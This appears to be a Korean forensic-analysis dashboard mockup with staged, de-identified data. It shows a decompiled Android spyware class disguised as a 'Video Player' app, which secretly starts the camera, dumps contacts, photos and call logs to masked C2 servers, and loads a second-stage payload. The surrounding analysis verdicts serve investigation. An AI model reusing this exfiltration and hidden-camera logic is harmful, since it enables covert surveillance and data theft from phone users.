EVIDENCE LOCKER수거 악성 APK 28건
스캔 0/28위험 0비식별 연출 데이터
▾expogo_v3.4.1.apk4.2 MB
▾com.expo.stream
▸ui
▸ads
▾core
CNetUploader.class
CContactReader.class
CCamService.class
CSmsRelay.class
CPersist.class
▸util
MAndroidManifest.xml
Dclasses.dex
Rresources.arsc
SMETA-INF/CERT.RSA
NetUploader.classAndroidManifest.xmlContactReader.class
1
package com.expo.stream.core;2
3
import android.app.Service;4
import android.content.ContentResolver;5
import android.database.Cursor;6
import android.provider.ContactsContract.Contacts;7
import android.provider.MediaStore.Images.Media;8
import android.telephony.TelephonyManager;9
import dalvik.system.DexClassLoader;10
11
/* 설치 표기 "Video Player" — 실제 동작은 업로더 서비스 */12
public final class NetUploader extends Service {13
14
/* ── 확보된 C2 인프라 ── */15
private static final String C2_HOST = "103.***.***.211";C2-HOST16
private static final int C2_PORT = 8443;C2-PORT17
private static final String C2_ALT = "cdn-static.***.app";C2-BACKUP18
private static final String C2_PATH = "/u/contacts";ENDPOINT19
private static final String AES_KEY = b64("aGxzZGvu***");CRYPT-KEY20
private static final long BEACON = 20000L; // 20초 주기21
22
private final List<String> buf = new ArrayList<>();23
24
public int onStartCommand(Intent it, int f, int id) {25
startForegroundService(new Intent(this, CamService.class));CAM-HIDDEN26
grabContacts();27
grabGallery();28
grabCallLog();29
schedule(this, BEACON);30
return START_STICKY;31
}32
33
private void grabContacts() {34
Cursor c = getContentResolver().query(Contacts.CONTENT_URI,CONTACTS35
PROJ, null, null, null); // 주소록 전체 덤프36
while (c.moveToNext()) buf.add(row(c));37
upload(C2_HOST, C2_PORT, C2_PATH, enc(gz(buf)));C2-PUSH38
}39
40
private void grabGallery() {41
Cursor m = query(Media.EXTERNAL_CONTENT_URI, IMG, null);GALLERY42
while (m.moveToNext()) push(file(m), "/u/media");43
}44
45
private void grabCallLog() {46
String sn = ((TelephonyManager) sys(TELEPHONY)).getLine1Number();PHONE47
upload(C2_ALT, C2_PORT, "/u/log", enc(callLog(sn)));C2-BACKUP48
}49
50
private void stage2() {51
new DexClassLoader(dl("/p.dex"), dir, null, cl).loadClass("q.a");DYN-LOAD52
}53
}C2 서버 확보103.***.***.211:8443·/u/contacts업로드 루틴 · 백업 C2 확인
STATIC ANALYSIS VERDICT
EVID-01연락처 수집 코드 확인
EVID-02카메라 은닉 촬영 코드 확인
EVID-03C2 통신 루틴 확인
FRAME MATCH 후보
FRAME MATCH 후보
FRAME MATCH 후보
Video Player
요가영상
펭하톡
TalkP
